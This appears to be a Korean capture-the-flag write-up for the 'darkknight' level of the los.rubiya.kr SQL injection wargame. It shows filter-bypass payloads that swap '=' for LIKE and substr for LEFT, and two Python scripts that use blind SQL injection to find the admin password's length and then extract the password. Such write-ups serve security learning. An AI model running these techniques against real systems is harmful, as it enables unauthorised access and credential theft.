[darkknight]
저번 문제에 비해 preg_match가 많아졌다.. pw에는 preg_match에 의해 싱글쿼터가 안되고
no에는 preg_match에 의해 싱글쿼터, substr, ascii, =이 안된다..
저번 문제처럼 =은 like, substr은 left로 우회를 하면 되고 문자열을 입력할때는 더블쿼터를 쓰면 될 것 같다.
?no="" or id like "admin" and length(pw) like 숫자 이런식으로 길이를 알아내고
?no="" or id like "admin" and left(pw,1) like "문자" 이런식으로 비밀번호를 알아내면 될것 같다.
import requests
for admin_len in range(99) :
URL='http://los.rubiya.kr/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
query={'no': '"" or id like "admin" and length(pw) like '+str(admin_len)}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break
위의 python을 실행시키면 길이는 8이라는 것을 알 수 있다.
import requests
password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
query={'no': '"" or id like "admin" and left(pw,'+str(admin_len+1)+') like "'+password+chr(admin_pass)+'"'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break
위의 python을 실행시키면 비밀번호는 '0b70ea1f'라는 것을 알 수 있다.
?pw=0b70ea1f를 입력하면 클리어!
'CTF_ > los.rubiya.kr' 카테고리의 다른 글
[los.rubiya.kr] giant #14 (0) | 2018.09.12 |
---|---|
[los.rubiya.kr] bugbear #13 (0) | 2018.08.28 |
[los.rubiya.kr] golem #11 (0) | 2018.08.26 |
[los.rubiya.kr] skeleton #10 (0) | 2018.08.26 |
[los.rubiya.kr] vampire #9 (0) | 2018.08.26 |
댓글